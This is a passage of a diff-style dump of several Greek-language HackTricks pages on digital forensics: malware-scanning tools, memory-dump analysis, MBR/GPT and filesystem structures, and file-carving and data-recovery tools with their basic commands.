Εργαλεία όπως το [**rkhunter**](http://rkhunter.sourceforge.net) μπορούν να χρησιμοποιηθούν για να ελέγξουν το σύστημα αρχείων για πιθανά **rootkits** και κακόβουλο λογισμικό.
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss) είναι ένα εργαλείο που θα προσπαθήσει να βρει κωδικοποιημένες συμβολοσειρές μέσα σε εκτελέσιμα χρησιμοποιώντας διάφορες τεχνικές.
### PEpper
[PEpper ](https://github.com/Th3Hurrican3/PEpper)ελέγχει κάποια βασικά στοιχεία μέσα στο εκτελέσιμο (δυαδικά δεδομένα, εντροπία, URLs και IPs, κάποιους κανόνες yara).
### PEstudio
[PEstudio](https://www.winitor.com/download) είναι ένα εργαλείο που επιτρέπει την απόκτηση πληροφοριών για εκτελέσιμα Windows όπως εισαγωγές, εξαγωγές, κεφαλίδες, αλλά θα ελέγξει επίσης το virus total και θα βρει πιθανές τεχνικές Att\&ck.
### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) είναι ένα εργαλείο για να ανιχνεύει αν ένα αρχείο είναι **κρυπτογραφημένο** και επίσης να βρίσκει **πακετάρισμα**.
### NeoPI
[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)είναι ένα σενάριο Python που χρησιμοποιεί μια ποικιλία **στατιστικών μεθόδων** για να ανιχνεύει **κωδικοποιημένο** και **κρυπτογραφημένο** περιεχόμενο μέσα σε αρχεία κειμένου/σεναρίων. Ο προορισμός του NeoPI είναι να βοηθήσει στην **ανίχνευση κρυφού κώδικα web shell**.
### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) κάνει το καλύτερο δυνατό για να ανιχνεύσει **κωδικοποιημένο**/**ύποπτο κώδικα** καθώς και αρχεία που χρησιμοποιούν **συναρτήσεις PHP** που συχνά χρησιμοποιούνται σε **malwares**/webshells.
### Apple Binary Signatures
Όταν ελέγχετε κάποιο **δείγμα malware** θα πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού, καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί ήδη να είναι **σχετικός** με **malware.**
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the apps contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```
## Τεχνικές Ανίχνευσης
### Συσσώρευση Αρχείων
Αν γνωρίζετε ότι κάποιο φάκελο που περιέχει τα **αρχεία** ενός web server **ενημερώθηκε τελευταία σε κάποια ημερομηνία**. **Ελέγξτε** την **ημερομηνία** που δημιουργήθηκαν και τροποποιήθηκαν όλα τα **αρχεία** στον **web server** και αν κάποια ημερομηνία είναι **ύποπτη**, ελέγξτε αυτό το αρχείο.
### Βασικές Γραμμές
Αν τα αρχεία ενός φακέλου **δεν θα έπρεπε να έχουν τροποποιηθεί**, μπορείτε να υπολογίσετε το **hash** των **αρχικών αρχείων** του φακέλου και να **συγκρίνετε** τα με τα **τρέχοντα**. Οτιδήποτε τροποποιηθεί θα είναι **ύποπτο**.
### Στατιστική Ανάλυση
Όταν οι πληροφορίες αποθηκεύονται σε logs μπορείτε να **ελέγξετε στατιστικά όπως πόσες φορές κάθε αρχείο ενός web server προσπελάστηκε καθώς ένα web shell μπορεί να είναι ένα από τα πιο**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,37 +0,0 @@
# Ανάλυση εκχύλισης μνήμης
{{#include ../../../banners/hacktricks-training.md}}
## Έναρξη
Ξεκινήστε **αναζητώντας** **κακόβουλο λογισμικό** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στο [**Malware Analysis**](../malware-analysis.md).
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Το Volatility είναι το κύριο ανοιχτού κώδικα πλαίσιο για την ανάλυση εκχύλισης μνήμης**. Αυτό το εργαλείο Python αναλύει εκχυλίσεις από εξωτερικές πηγές ή VMware VMs, αναγνωρίζοντας δεδομένα όπως διαδικασίες και κωδικούς πρόσβασης με βάση το προφίλ OS της εκχύλισης. Είναι επεκτάσιμο με plugins, καθιστώντας το εξαιρετικά ευέλικτο για ποινικές έρευνες.
**[Βρείτε εδώ ένα cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## Αναφορά σφάλματος mini dump
Όταν η εκχύλιση είναι μικρή (μόλις μερικά KB, ίσως μερικά MB) τότε πιθανότατα πρόκειται για αναφορά σφάλματος mini dump και όχι για εκχύλιση μνήμης.
![](<../../../images/image (216).png>)
Αν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε κάποιες βασικές πληροφορίες όπως το όνομα διαδικασίας, αρχιτεκτονική, πληροφορίες εξαίρεσης και μονάδες που εκτελούνται:
![](<../../../images/image (217).png>)
Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποσυμπιεσμένες εντολές
![](<../../../images/image (219).png>)
![](<../../../images/image (218) (1).png>)
Ούτως ή άλλως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να εκτελέσετε μια ανάλυση βάθους της εκχύλισης.
Πρέπει να **το ανοίξετε** χρησιμοποιώντας **IDA** ή **Radare** για να το επιθεωρήσετε σε **βάθος**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,234 +0,0 @@
# Διαμερίσματα/Συστήματα Αρχείων/Carving
{{#include ../../../banners/hacktricks-training.md}}
## Διαμερίσματα
Ένας σκληρός δίσκος ή ένα **SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\
Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους.
### MBR (master Boot Record)
Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί ένα διαμέρισμα.\
Επιτρέπει έως **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **εκτεταμένα διαμερίσματα**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να χαρακτηριστεί ως ενεργό.\
Το MBR επιτρέπει **μέγιστο 2.2TB**.
![](<../../../images/image (489).png>)
![](<../../../images/image (490).png>)
Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου των Windows** (αν χρησιμοποιούνται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου των Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να εμποδίσει τα Windows να εκκινήσουν (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (493).png>)
**Μορφή**
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης |
| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα |
| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα |
| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα |
| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα |
| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA |
**Μορφή Καταγραφής Διαμερίσματος**
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργοποίησης (0x80 = εκκινήσιμο) |
| 1 (0x01) | 1 (0x01) | Αρχική κεφαλή |
| 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits |
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμερίσματος (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Τελική κεφαλή |
| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 7 (0x07) | 1 (0x01) | Τελικός κύλινδρος χαμηλότερα 8 bits |
| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) |
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
Για να προσαρτήσετε ένα MBR σε Linux, πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Λογική διεύθυνση μπλοκ)**
**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
### GPT (Πίνακας Κατανομής GUID)
Ο Πίνακας Κατανομής GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικός για τον **παγκοσμίως μοναδικό αναγνωριστή** για τις κατανομές, το GPT ξεχωρίζει με αρκετούς τρόπους:
- **Τοποθεσία και Μέγεθος**: Και οι GPT και MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR.
- **Όρια Κατανομής**: Το GPT υποστηρίζει έως **128 κατανομές** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων.
- **Ονόματα Κατανομής**: Προσφέρει τη δυνατότητα ονομασίας κατανομών με έως 36 χαρακτήρες Unicode.
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
- **Επικαλυπτικότητα**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει την κατανομή και τα δεδομένα εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
- **Έλεγχος Κυκλικής Επικαλυπτικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου.
**Προστατευτικό MBR (LBA0)**:
- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους που έχουν μορφοποιηθεί σε GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>)
**Υβριδικό MBR (LBA 0 + GPT)**
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατανομές GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes.
**Κεφαλίδα πίνακα κατανομής (LBA 1)**
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Η κεφαλίδα του πίνακα κατανομής ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατανομής που αποτελούν τον πίνακα κατανομής (offsets 80 και 84 στον πίνακα).
| Offset | Length | Περιεχόμενα |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)σε μηχανές little-endian) |
| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε little endian (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (offset +0 έως μέγεθος κεφαλίδας) σε little endian, με αυτό το πεδίο μηδενισμένο κατά τη διάρκεια του υπολογισμού |
| 20 (0x14) | 4 bytes | Κρατημένο; πρέπει να είναι μηδέν |
| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντιγράφου κεφαλίδας) |
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) |
| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατανομές (τελευταίο LBA κύριου πίνακα κατανομής + 1) |
| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατανομής 1) |
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian |
| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατανομής (πάντα 2 στην κύρια αντιγραφή) |
| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατανομής στον πίνακα |
| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατανομής (συνήθως 80h ή 128) |
| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρίσεων κατανομής σε little endian |
| 92 (0x5C) | \* | Κρατημένο; πρέπει να είναι μηδενικά για το υπόλοιπο του μπλοκ (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερα με μεγαλύτερα μεγέθη τομέα) |
**Καταχωρίσεις κατανομής (LBA 233)**
| Μορφή καταχώρισης GUID | | |
| ----------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| Offset | Length | Περιεχόμενα |
| 0 (0x00) | 16 bytes | [GUID τύπου κατανομής](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (μικτό endian) |
| 16 (0x10) | 16 bytes | Μοναδικός GUID κατανομής (μικτό endian) |
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένο, συνήθως περιττό) |
| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 δηλώνει μόνο για ανάγνωση) |
| 56 (0x38) | 72 bytes | Όνομα κατανομής (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) |
**Τύποι Κατανομών**
![](<../../../images/image (492).png>)
Περισσότεροι τύποι κατανομών στο [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
### Επιθεώρηση
Αφού τοποθετήσετε την εικόνα εγκληματολογίας με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε:
![](<../../../images/image (494).png>)
Αν ήταν ένας **πίνακας GPT αντί για MBR** θα έπρεπε να εμφανίζεται η υπογραφή _EFI PART_ στον **τομέα 1** (ο οποίος στην προηγούμενη εικόνα είναι κενός).
## Συστήματα Αρχείων
### Λίστα συστημάτων αρχείων Windows
- **FAT12/16**: MSDOS, WIN95/98/NT/200
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
- **ReFS**: 2012/2016
### FAT
Το **FAT (Πίνακας Κατανομής Αρχείων)** σύστημα αρχείων έχει σχεδιαστεί γύρω από τον πυρήνα του, τον πίνακα κατανομής αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, διασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν το ένα είναι κατεστραμμένο. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκεται σε μια **σταθερή τοποθεσία**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλαπλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων:
- **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις cluster και χειρίζεται έως 4078 clusters (4084 με UNIX).
- **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters.
- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το 32-bit πεδίο που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν:
- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
- **Χαρακτηριστικά**
- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου)
- **Μέγεθος Αρχείου**
### EXT
**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατανομές (**κατανομές που δεν αλλάζουν πολύ**) όπως η κατανομή εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατανομές**.
## **Μεταδεδομένα**
Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου που μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να έχει πληροφορίες όπως:
- Τίτλος
- Έκδοση MS Office που χρησιμοποιήθηκε
- Συγγραφέας
- Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης
- Μοντέλο της κάμερας
- Συντεταγμένες GPS
- Πληροφορίες εικόνας
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να αποκτήσετε τα μεταδεδομένα ενός αρχείου.
## **Ανάκτηση Διαγραμμένων Αρχείων**
### Καταγεγραμμένα Διαγραμμένα Αρχεία
Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημειώνει ως διαγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατόν να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### **File Carving**
**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία στη μάζα δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχείς τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του.
Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Data Stream **C**arving
Data Stream Carving είναι παρόμοιο με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\
Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Ασφαλής Διαγραφή
Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατόν να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\
Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς του επαγγελματία εγκληματολογίας είναι να τις βρει.
## Αναφορές
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
- **iHackLabs Certified Digital Forensics Windows**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,87 +0,0 @@
# File/Data Carving & Recovery Tools
{{#include ../../../banners/hacktricks-training.md}}
## Carving & Recovery tools
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
**Useful commands**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε να αναζητήσετε συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που είναι ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε:
```
bulk_extractor memory.img -o out_folder
```
Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/index.html)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**).
### PhotoRec
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.
![](<../../../images/image (524).png>)
### binvis
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και την [ιστοσελίδα εργαλείου](https://binvis.io/#/).
#### Χαρακτηριστικά του BinVis
- Οπτικός και ενεργός **θεατής δομής**
- Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης
- Εστίαση σε τμήματα ενός δείγματος
- **Βλέποντας συμβολοσειρές και πόρους**, σε εκτελέσιμα PE ή ELF π.χ.
- Λήψη **μοτίβων** για κρυπτοανάλυση σε αρχεία
- **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης
- **Αναγνώριση** Στεγανότητας μέσω μοτίβων
- **Οπτική** διαφορά δυαδικών αρχείων
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing.
## Ειδικά Εργαλεία Κατασκευής Δεδομένων
### FindAES
Αναζητά κλειδιά AES αναζητώντας τα χρονοδιαγράμματα κλειδιών τους. Ικανό να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
Κατεβάστε [εδώ](https://sourceforge.net/projects/findaes/).
## Συμπληρωματικά εργαλεία
Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,65 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Εργαλεία Carving
## Autopsy
